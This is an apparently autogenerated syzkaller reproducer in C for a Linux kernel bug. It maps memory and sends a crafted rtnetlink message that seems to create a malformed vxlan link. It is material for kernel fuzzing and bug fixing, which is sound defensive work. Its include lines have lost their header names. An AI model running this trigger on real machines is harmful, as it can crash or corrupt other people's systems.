// https://syzkaller.appspot.com/bug?id=7e33ead9d30ee83228bdc9473d1db2b883ecc8c4 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include uint64_t r[1] = {0xffffffffffffffff}; int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul); const char* reason; (void)reason; intptr_t res = 0; if (write(1, "executing program\n", sizeof("executing program\n") - 1)) { } res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0); if (res != -1) r[0] = res; *(uint64_t*)0x200000000280 = 0; *(uint32_t*)0x200000000288 = 0; *(uint64_t*)0x200000000290 = 0x200000001140; *(uint64_t*)0x200000001140 = 0x2000000002c0; memcpy((void*)0x2000000002c0, "\x50\x00\x00\x00\x10\x00\x03\x05\x29\xbd\x70\x00\x00\x00\x00\x00\x00" "\x00\x00\x00", 20); *(uint32_t*)0x2000000002d4 = 0; memcpy((void*)0x2000000002d8, "\x00\x20\x00\x00\x30\x62\x00\x00\x28\x00\x12\x80\x0a\x00\x01\x00\x76" "\x78\x6c\x61\x6e\x00\x00\x00\x18\x00\x02\x80\x14\x00\x01\x00\x00\x00" "\x00\x00", 36); *(uint32_t*)0x2000000002fc = 0; memcpy((void*)0x200000000300, "\x4c\x44\x00\x00\x00\x00\x00\x00\x08\x00\x1b\x00\x64\x07\x69\x55", 16); *(uint64_t*)0x200000001148 = 0x50; *(uint64_t*)0x200000000298 = 1; *(uint64_t*)0x2000000002a0 = 0; *(uint64_t*)0x2000000002a8 = 0; *(uint32_t*)0x2000000002b0 = 0; syscall(__NR_sendmsg, /*fd=*/r[0], /*msg=*/0x200000000280ul, /*f=*/0ul); return 0; }